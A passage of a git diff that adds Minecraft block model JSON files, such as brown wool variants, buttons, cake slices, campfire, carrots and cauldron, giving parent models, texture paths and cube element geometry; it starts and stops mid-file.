b/src/assets/minecraft/models/block/brown_carpet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/carpet", + "textures": { + "wool": "minecraft:block/brown_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brown_concrete.json b/src/assets/minecraft/models/block/brown_concrete.json new file mode 100644 index 00000000..217098d9 --- /dev/null +++ b/src/assets/minecraft/models/block/brown_concrete.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/brown_concrete" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brown_concrete_powder.json b/src/assets/minecraft/models/block/brown_concrete_powder.json new file mode 100644 index 00000000..d095ddf0 --- /dev/null +++ b/src/assets/minecraft/models/block/brown_concrete_powder.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/brown_concrete_powder" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brown_glazed_terracotta.json b/src/assets/minecraft/models/block/brown_glazed_terracotta.json new file mode 100644 index 00000000..4d70d0ad --- /dev/null +++ b/src/assets/minecraft/models/block/brown_glazed_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glazed_terracotta", + "textures": { + "pattern": "minecraft:block/brown_glazed_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brown_mushroom.json b/src/assets/minecraft/models/block/brown_mushroom.json new file mode 100644 index 00000000..48813930 --- /dev/null +++ b/src/assets/minecraft/models/block/brown_mushroom.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/brown_mushroom" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brown_mushroom_block.json b/src/assets/minecraft/models/block/brown_mushroom_block.json new file mode 100644 index 00000000..5ce72be6 --- /dev/null +++ b/src/assets/minecraft/models/block/brown_mushroom_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_single_face", + "textures": { + "texture": "minecraft:block/brown_mushroom_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brown_mushroom_block_inventory.json b/src/assets/minecraft/models/block/brown_mushroom_block_inventory.json new file mode 100644 index 00000000..8062fcee --- /dev/null +++ b/src/assets/minecraft/models/block/brown_mushroom_block_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/brown_mushroom_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brown_shulker_box.json b/src/assets/minecraft/models/block/brown_shulker_box.json new file mode 100644 index 00000000..b7118090 --- /dev/null +++ b/src/assets/minecraft/models/block/brown_shulker_box.json @@ -0,0 +1,5 @@ +{ + "textures": { + "particle": "minecraft:block/brown_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brown_stained_glass.json b/src/assets/minecraft/models/block/brown_stained_glass.json new file mode 100644 index 00000000..cb8975b2 --- /dev/null +++ b/src/assets/minecraft/models/block/brown_stained_glass.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/brown_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brown_stained_glass_pane_noside.json b/src/assets/minecraft/models/block/brown_stained_glass_pane_noside.json new file mode 100644 index 00000000..3b43194e --- /dev/null +++ b/src/assets/minecraft/models/block/brown_stained_glass_pane_noside.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside", + "textures": { + "pane": "minecraft:block/brown_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brown_stained_glass_pane_noside_alt.json b/src/assets/minecraft/models/block/brown_stained_glass_pane_noside_alt.json new file mode 100644 index 00000000..594f3059 --- /dev/null +++ b/src/assets/minecraft/models/block/brown_stained_glass_pane_noside_alt.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_glass_pane_noside_alt", + "textures": { + "pane": "minecraft:block/brown_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brown_stained_glass_pane_post.json b/src/assets/minecraft/models/block/brown_stained_glass_pane_post.json new file mode 100644 index 00000000..84221e1b --- /dev/null +++ b/src/assets/minecraft/models/block/brown_stained_glass_pane_post.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_post", + "textures": { + "pane": "minecraft:block/brown_stained_glass", + "edge": "minecraft:block/brown_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brown_stained_glass_pane_side.json b/src/assets/minecraft/models/block/brown_stained_glass_pane_side.json new file mode 100644 index 00000000..7cc03b06 --- /dev/null +++ b/src/assets/minecraft/models/block/brown_stained_glass_pane_side.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side", + "textures": { + "pane": "minecraft:block/brown_stained_glass", + "edge": "minecraft:block/brown_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brown_stained_glass_pane_side_alt.json b/src/assets/minecraft/models/block/brown_stained_glass_pane_side_alt.json new file mode 100644 index 00000000..fcbf40b2 --- /dev/null +++ b/src/assets/minecraft/models/block/brown_stained_glass_pane_side_alt.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_glass_pane_side_alt", + "textures": { + "pane": "minecraft:block/brown_stained_glass", + "edge": "minecraft:block/brown_stained_glass_pane_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brown_terracotta.json b/src/assets/minecraft/models/block/brown_terracotta.json new file mode 100644 index 00000000..4bbb7fe7 --- /dev/null +++ b/src/assets/minecraft/models/block/brown_terracotta.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/brown_terracotta" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/brown_wool.json b/src/assets/minecraft/models/block/brown_wool.json new file mode 100644 index 00000000..25c88429 --- /dev/null +++ b/src/assets/minecraft/models/block/brown_wool.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/brown_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/bubble_coral.json b/src/assets/minecraft/models/block/bubble_coral.json new file mode 100644 index 00000000..b0f75a33 --- /dev/null +++ b/src/assets/minecraft/models/block/bubble_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/bubble_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/bubble_coral_block.json b/src/assets/minecraft/models/block/bubble_coral_block.json new file mode 100644 index 00000000..fc5708cd --- /dev/null +++ b/src/assets/minecraft/models/block/bubble_coral_block.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/bubble_coral_block" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/bubble_coral_fan.json b/src/assets/minecraft/models/block/bubble_coral_fan.json new file mode 100644 index 00000000..5f6d2d2b --- /dev/null +++ b/src/assets/minecraft/models/block/bubble_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_fan", + "textures": { + "fan": "minecraft:block/bubble_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/bubble_coral_wall_fan.json b/src/assets/minecraft/models/block/bubble_coral_wall_fan.json new file mode 100644 index 00000000..b13aa967 --- /dev/null +++ b/src/assets/minecraft/models/block/bubble_coral_wall_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/coral_wall_fan", + "textures": { + "fan": "minecraft:block/bubble_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/button.json b/src/assets/minecraft/models/block/button.json new file mode 100644 index 00000000..8b5c506b --- /dev/null +++ b/src/assets/minecraft/models/block/button.json @@ -0,0 +1,18 @@ +{ + "textures": { + "particle": "#texture" + }, + "elements": [ + { "from": [ 5, 0, 6 ], + "to": [ 11, 2, 10 ], + "faces": { + "down": { "uv": [ 5, 6, 11, 10 ], "texture": "#texture", "cullface": "down" }, + "up": { "uv": [ 5, 10, 11, 6 ], "texture": "#texture" }, + "north": { "uv": [ 5, 14, 11, 16 ], "texture": "#texture" }, + "south": { "uv": [ 5, 14, 11, 16 ], "texture": "#texture" }, + "west": { "uv": [ 6, 14, 10, 16 ], "texture": "#texture" }, + "east": { "uv": [ 6, 14, 10, 16 ], "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/button_inventory.json b/src/assets/minecraft/models/block/button_inventory.json new file mode 100644 index 00000000..7a13742d --- /dev/null +++ b/src/assets/minecraft/models/block/button_inventory.json @@ -0,0 +1,18 @@ +{ "parent": "block/block", + "textures": { + "particle": "#texture" + }, + "elements": [ + { "from": [ 5, 6, 6 ], + "to": [ 11, 10, 10 ], + "faces": { + "down": { "uv": [ 5, 6, 11, 10 ], "texture": "#texture" }, + "up": { "uv": [ 5, 10, 11, 6 ], "texture": "#texture" }, + "north": { "uv": [ 5, 12, 11, 16 ], "texture": "#texture" }, + "south": { "uv": [ 5, 12, 11, 16 ], "texture": "#texture" }, + "west": { "uv": [ 6, 12, 10, 16 ], "texture": "#texture" }, + "east": { "uv": [ 6, 12, 10, 16 ], "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/button_pressed.json b/src/assets/minecraft/models/block/button_pressed.json new file mode 100644 index 00000000..5c6e96fa --- /dev/null +++ b/src/assets/minecraft/models/block/button_pressed.json @@ -0,0 +1,18 @@ +{ + "textures": { + "particle": "#texture" + }, + "elements": [ + { "from": [ 5, 0, 6 ], + "to": [ 11, 1, 10 ], + "faces": { + "down": { "uv": [ 5, 6, 11, 10 ], "texture": "#texture", "cullface": "down" }, + "up": { "uv": [ 5, 10, 11, 6 ], "texture": "#texture" }, + "north": { "uv": [ 5, 14, 11, 15 ], "texture": "#texture" }, + "south": { "uv": [ 5, 14, 11, 15 ], "texture": "#texture" }, + "west": { "uv": [ 6, 14, 10, 15 ], "texture": "#texture" }, + "east": { "uv": [ 6, 14, 10, 15 ], "texture": "#texture" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/cactus.json b/src/assets/minecraft/models/block/cactus.json new file mode 100644 index 00000000..46318970 --- /dev/null +++ b/src/assets/minecraft/models/block/cactus.json @@ -0,0 +1,32 @@ +{ "parent": "block/block", + "ambientocclusion": false, + "textures": { + "particle": "block/cactus_side", + "bottom": "block/cactus_bottom", + "top": "block/cactus_top", + "side": "block/cactus_side" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#bottom", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#top", "cullface": "up" } + } + }, + { "from": [ 0, 0, 1 ], + "to": [ 16, 16, 15 ], + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#side" }, + "south": { "uv": [ 0, 0, 16, 16 ], "texture": "#side" } + } + }, + { "from": [ 1, 0, 0 ], + "to": [ 15, 16, 16 ], + "faces": { + "west": { "uv": [ 0, 0, 16, 16 ], "texture": "#side" }, + "east": { "uv": [ 0, 0, 16, 16 ], "texture": "#side" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/cake.json b/src/assets/minecraft/models/block/cake.json new file mode 100644 index 00000000..1bc93473 --- /dev/null +++ b/src/assets/minecraft/models/block/cake.json @@ -0,0 +1,21 @@ +{ + "textures": { + "particle": "block/cake_side", + "bottom": "block/cake_bottom", + "top": "block/cake_top", + "side": "block/cake_side" + }, + "elements": [ + { "from": [ 1, 0, 1 ], + "to": [ 15, 8, 15 ], + "faces": { + "down": { "texture": "#bottom", "cullface": "down" }, + "up": { "texture": "#top" }, + "north": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side" }, + "east": { "texture": "#side" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/cake_slice1.json b/src/assets/minecraft/models/block/cake_slice1.json new file mode 100644 index 00000000..ca6d8d85 --- /dev/null +++ b/src/assets/minecraft/models/block/cake_slice1.json @@ -0,0 +1,22 @@ +{ + "textures": { + "particle": "block/cake_side", + "bottom": "block/cake_bottom", + "top": "block/cake_top", + "side": "block/cake_side", + "inside": "block/cake_inner" + }, + "elements": [ + { "from": [ 3, 0, 1 ], + "to": [ 15, 8, 15 ], + "faces": { + "down": { "texture": "#bottom", "cullface": "down" }, + "up": { "texture": "#top" }, + "north": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#inside" }, + "east": { "texture": "#side" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/cake_slice2.json b/src/assets/minecraft/models/block/cake_slice2.json new file mode 100644 index 00000000..7714c0d0 --- /dev/null +++ b/src/assets/minecraft/models/block/cake_slice2.json @@ -0,0 +1,22 @@ +{ + "textures": { + "particle": "block/cake_side", + "bottom": "block/cake_bottom", + "top": "block/cake_top", + "side": "block/cake_side", + "inside": "block/cake_inner" + }, + "elements": [ + { "from": [ 5, 0, 1 ], + "to": [ 15, 8, 15 ], + "faces": { + "down": { "texture": "#bottom", "cullface": "down" }, + "up": { "texture": "#top" }, + "north": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#inside" }, + "east": { "texture": "#side" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/cake_slice3.json b/src/assets/minecraft/models/block/cake_slice3.json new file mode 100644 index 00000000..8d45a88a --- /dev/null +++ b/src/assets/minecraft/models/block/cake_slice3.json @@ -0,0 +1,22 @@ +{ + "textures": { + "particle": "block/cake_side", + "bottom": "block/cake_bottom", + "top": "block/cake_top", + "side": "block/cake_side", + "inside": "block/cake_inner" + }, + "elements": [ + { "from": [ 7, 0, 1 ], + "to": [ 15, 8, 15 ], + "faces": { + "down": { "texture": "#bottom", "cullface": "down" }, + "up": { "texture": "#top" }, + "north": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#inside" }, + "east": { "texture": "#side" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/cake_slice4.json b/src/assets/minecraft/models/block/cake_slice4.json new file mode 100644 index 00000000..00bab48e --- /dev/null +++ b/src/assets/minecraft/models/block/cake_slice4.json @@ -0,0 +1,22 @@ +{ + "textures": { + "particle": "block/cake_side", + "bottom": "block/cake_bottom", + "top": "block/cake_top", + "side": "block/cake_side", + "inside": "block/cake_inner" + }, + "elements": [ + { "from": [ 9, 0, 1 ], + "to": [ 15, 8, 15 ], + "faces": { + "down": { "texture": "#bottom", "cullface": "down" }, + "up": { "texture": "#top" }, + "north": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#inside" }, + "east": { "texture": "#side" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/cake_slice5.json b/src/assets/minecraft/models/block/cake_slice5.json new file mode 100644 index 00000000..518af838 --- /dev/null +++ b/src/assets/minecraft/models/block/cake_slice5.json @@ -0,0 +1,22 @@ +{ + "textures": { + "particle": "block/cake_side", + "bottom": "block/cake_bottom", + "top": "block/cake_top", + "side": "block/cake_side", + "inside": "block/cake_inner" + }, + "elements": [ + { "from": [ 11, 0, 1 ], + "to": [ 15, 8, 15 ], + "faces": { + "down": { "texture": "#bottom", "cullface": "down" }, + "up": { "texture": "#top" }, + "north": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#inside" }, + "east": { "texture": "#side" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/cake_slice6.json b/src/assets/minecraft/models/block/cake_slice6.json new file mode 100644 index 00000000..97151ba5 --- /dev/null +++ b/src/assets/minecraft/models/block/cake_slice6.json @@ -0,0 +1,22 @@ +{ + "textures": { + "particle": "block/cake_side", + "bottom": "block/cake_bottom", + "top": "block/cake_top", + "side": "block/cake_side", + "inside": "block/cake_inner" + }, + "elements": [ + { "from": [ 13, 0, 1 ], + "to": [ 15, 8, 15 ], + "faces": { + "down": { "texture": "#bottom", "cullface": "down" }, + "up": { "texture": "#top" }, + "north": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#inside" }, + "east": { "texture": "#side" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/campfire.json b/src/assets/minecraft/models/block/campfire.json new file mode 100644 index 00000000..ff5db784 --- /dev/null +++ b/src/assets/minecraft/models/block/campfire.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/template_campfire", + "textures": { + "fire": "minecraft:block/campfire_fire", + "lit_log": "minecraft:block/campfire_log_lit" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/campfire_off.json b/src/assets/minecraft/models/block/campfire_off.json new file mode 100644 index 00000000..9dc54761 --- /dev/null +++ b/src/assets/minecraft/models/block/campfire_off.json @@ -0,0 +1,74 @@ +{ + "parent": "block/block", + "display": { + "head": { + "rotation": [ 0, 0, 0 ], + "translation": [ 0, 10.5, 0 ], + "scale":[ 1, 1, 1 ] + } + }, + "textures": { + "particle": "block/campfire_log", + "log": "block/campfire_log" + }, + "elements": [ + { + "from": [ 1, 0, 0 ], + "to": [ 5, 4, 16 ], + "faces": { + "north": { "uv": [ 0, 4, 4, 8 ], "texture": "#log", "cullface": "north" }, + "east": { "uv": [ 0, 1, 16, 5 ], "texture": "#log" }, + "south": { "uv": [ 0, 4, 4, 8 ], "texture": "#log", "cullface": "south" }, + "west": { "uv": [ 16, 0, 0, 4 ], "texture": "#log" }, + "up": { "uv": [ 0, 0, 16, 4 ], "rotation": 90, "texture": "#log" }, + "down": { "uv": [ 0, 0, 16, 4 ], "rotation": 90, "texture": "#log", "cullface": "down" } + } + }, + { + "from": [ 0, 3, 11 ], + "to": [ 16, 7, 15 ], + "faces": { + "north": { "uv": [ 16, 0, 0, 4 ], "texture": "#log" }, + "east": { "uv": [ 0, 4, 4, 8 ], "texture": "#log", "cullface": "east" }, + "south": { "uv": [ 0, 0, 16, 4 ], "texture": "#log" }, + "west": { "uv": [ 0, 4, 4, 8 ], "texture": "#log", "cullface": "west" }, + "up": { "uv": [ 0, 0, 16, 4 ], "rotation": 180, "texture": "#log" }, + "down": { "uv": [ 0, 0, 16, 4 ], "texture": "#log" } + } + }, + { + "from": [ 11, 0, 0 ], + "to": [ 15, 4, 16 ], + "faces": { + "north": { "uv": [ 0, 4, 4, 8 ], "texture": "#log", "cullface": "north" }, + "east": { "uv": [ 0, 0, 16, 4 ], "texture": "#log" }, + "south": { "uv": [ 0, 4, 4, 8 ], "texture": "#log", "cullface": "south" }, + "west": { "uv": [ 16, 1, 0, 5 ], "texture": "#log" }, + "up": { "uv": [ 0, 0, 16, 4 ], "rotation": 90, "texture": "#log" }, + "down": { "uv": [ 0, 0, 16, 4 ], "rotation": 90, "texture": "#log", "cullface": "down" } + } + }, + { + "from": [ 0, 3, 1 ], + "to": [ 16, 7, 5 ], + "faces": { + "north": { "uv": [ 0, 0, 16, 4 ], "texture": "#log" }, + "east": { "uv": [ 0, 4, 4, 8 ], "texture": "#log", "cullface": "east" }, + "south": { "uv": [ 16, 0, 0, 4 ], "texture": "#log" }, + "west": { "uv": [ 0, 4, 4, 8 ], "texture": "#log", "cullface": "west" }, + "up": { "uv": [ 0, 0, 16, 4 ], "rotation": 180, "texture": "#log" }, + "down": { "uv": [ 0, 0, 16, 4 ], "texture": "#log" } + } + }, + { + "from": [ 5, 0, 0 ], + "to": [ 11, 1, 16 ], + "faces": { + "north": {"uv": [ 0, 15, 6, 16 ], "texture": "#log", "cullface": "north" }, + "south": {"uv": [ 10, 15, 16, 16 ], "texture": "#log", "cullface": "south" }, + "up": {"uv": [ 0, 8, 16, 14 ], "rotation": 90, "texture": "#log" }, + "down": {"uv": [ 0, 8, 16, 14 ], "rotation": 90, "texture": "#log", "cullface": "down" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/carpet.json b/src/assets/minecraft/models/block/carpet.json new file mode 100644 index 00000000..b52a1105 --- /dev/null +++ b/src/assets/minecraft/models/block/carpet.json @@ -0,0 +1,19 @@ +{ + "parent": "block/thin_block", + "textures": { + "particle": "#wool" + }, + "elements": [ + { "from": [ 0, 0, 0 ], + "to": [ 16, 1, 16 ], + "faces": { + "down": { "uv": [ 0, 0, 16, 16 ], "texture": "#wool", "cullface": "down" }, + "up": { "uv": [ 0, 0, 16, 16 ], "texture": "#wool" }, + "north": { "uv": [ 0, 15, 16, 16 ], "texture": "#wool", "cullface": "north" }, + "south": { "uv": [ 0, 15, 16, 16 ], "texture": "#wool", "cullface": "south" }, + "west": { "uv": [ 0, 15, 16, 16 ], "texture": "#wool", "cullface": "west" }, + "east": { "uv": [ 0, 15, 16, 16 ], "texture": "#wool", "cullface": "east" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/carrots_stage0.json b/src/assets/minecraft/models/block/carrots_stage0.json new file mode 100644 index 00000000..f1dcc6e6 --- /dev/null +++ b/src/assets/minecraft/models/block/carrots_stage0.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/carrots_stage0" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/carrots_stage1.json b/src/assets/minecraft/models/block/carrots_stage1.json new file mode 100644 index 00000000..dda9356e --- /dev/null +++ b/src/assets/minecraft/models/block/carrots_stage1.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/carrots_stage1" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/carrots_stage2.json b/src/assets/minecraft/models/block/carrots_stage2.json new file mode 100644 index 00000000..ffc0a559 --- /dev/null +++ b/src/assets/minecraft/models/block/carrots_stage2.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/carrots_stage2" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/carrots_stage3.json b/src/assets/minecraft/models/block/carrots_stage3.json new file mode 100644 index 00000000..aeb7406a --- /dev/null +++ b/src/assets/minecraft/models/block/carrots_stage3.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/carrots_stage3" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cartography_table.json b/src/assets/minecraft/models/block/cartography_table.json new file mode 100644 index 00000000..758bf84d --- /dev/null +++ b/src/assets/minecraft/models/block/cartography_table.json @@ -0,0 +1,12 @@ +{ + "parent": "minecraft:block/cube", + "textures": { + "particle": "minecraft:block/cartography_table_side3", + "north": "minecraft:block/cartography_table_side3", + "south": "minecraft:block/cartography_table_side1", + "east": "minecraft:block/cartography_table_side3", + "west": "minecraft:block/cartography_table_side2", + "up": "minecraft:block/cartography_table_top", + "down": "minecraft:block/dark_oak_planks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/carved_pumpkin.json b/src/assets/minecraft/models/block/carved_pumpkin.json new file mode 100644 index 00000000..64809965 --- /dev/null +++ b/src/assets/minecraft/models/block/carved_pumpkin.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/orientable", + "textures": { + "top": "minecraft:block/pumpkin_top", + "front": "minecraft:block/carved_pumpkin", + "side": "minecraft:block/pumpkin_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/cauldron.json b/src/assets/minecraft/models/block/cauldron.json new file mode 100644 index 00000000..28a4d2b6 --- /dev/null +++ b/src/assets/minecraft/models/block/cauldron.json @@ -0,0 +1,148 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/cauldron_side", + "top": "block/cauldron_top", + "bottom": "block/cauldron_bottom", + "side": "block/cauldron_side", + "inside": "block/cauldron_inner" + }, + "elements": [ + { + "from": [ 0, 3, 0 ], + "to": [ 2, 16, 16 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side", "cullface": "up" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "west" }, + "up": { "texture": "#top", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 2, 3, 2 ], + "to": [ 14, 4, 14 ], + "faces": { + "up": { "texture": "#inside", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 14, 3, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "up" }, + "up": { "texture": "#top", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 2, 3, 0 ], + "to": [ 14, 16, 2 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "south": { "texture": "#side", "cullface": "up" }, + "up": { "texture": "#top", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 2, 3, 14 ], + "to": [ 14, 16, 16 ], + "faces": { + "north": { "texture": "#side", "cullface": "up" }, + "south": { "texture": "#side", "cullface": "south" }, + "up": { "texture": "#top", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 0, 0, 0 ], + "to": [ 4, 3, 2 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 0, 0, 2 ], + "to": [ 2, 3, 4 ], + "faces": { + "east": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 12, 0, 0 ], + "to": [ 16, 3, 2 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 14, 0, 2 ], + "to": [ 16, 3, 4 ], + "faces": { + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 0, 0, 14 ], + "to": [ 4, 3, 16 ], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 0, 0, 12 ], + "to": [ 2, 3, 14 ], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 12, 0, 14 ], + "to": [ 16, 3, 16 ], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 14, 0, 12 ], + "to": [ 16, 3, 14 ], + "faces": { + "north": { "texture": "#side" }, + "east": { "texture": "#side", "cullface": "east" }, + "west": { "texture": "#side" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/cauldron_level1.json b/src/assets/minecraft/models/block/cauldron_level1.json new file mode 100644 index 00000000..14a568b0 --- /dev/null +++ b/src/assets/minecraft/models/block/cauldron_level1.json @@ -0,0 +1,156 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/cauldron_side", + "top": "block/cauldron_top", + "bottom": "block/cauldron_bottom", + "side": "block/cauldron_side", + "inside": "block/cauldron_inner", + "water": "block/water_still" + }, + "elements": [ + { + "from": [ 0, 3, 0 ], + "to": [ 2, 16, 16 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side", "cullface": "up" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "west" }, + "up": { "texture": "#top", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 2, 3, 2 ], + "to": [ 14, 4, 14 ], + "faces": { + "up": { "texture": "#inside", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 14, 3, 0 ], + "to": [ 16, 16, 16 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side", "cullface": "east" }, + "south": { "texture": "#side", "cullface": "south" }, + "west": { "texture": "#side", "cullface": "up" }, + "up": { "texture": "#top", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 2, 3, 0 ], + "to": [ 14, 16, 2 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "south": { "texture": "#side", "cullface": "up" }, + "up": { "texture": "#top", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 2, 3, 14 ], + "to": [ 14, 16, 16 ], + "faces": { + "north": { "texture": "#side", "cullface": "up" }, + "south": { "texture": "#side", "cullface": "south" }, + "up": { "texture": "#top", "cullface": "up" }, + "down": { "texture": "#inside" } + } + }, + { + "from": [ 0, 0, 0 ], + "to": [ 4, 3, 2 ], + "faces": { + "north": { "texture": "#side", "cullface": "north" }, + "east": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { "texture": "#bottom", "cullface": "down" } + } + }, + { + "from": [ 0, 0, 2 ], + "to": [ 2, 3, 4 ], + "faces": { + "east": { "texture": "#side" }, + "south": { "texture": "#side" }, + "west": { "texture": "#side", "cullface": "west" }, + "down": { 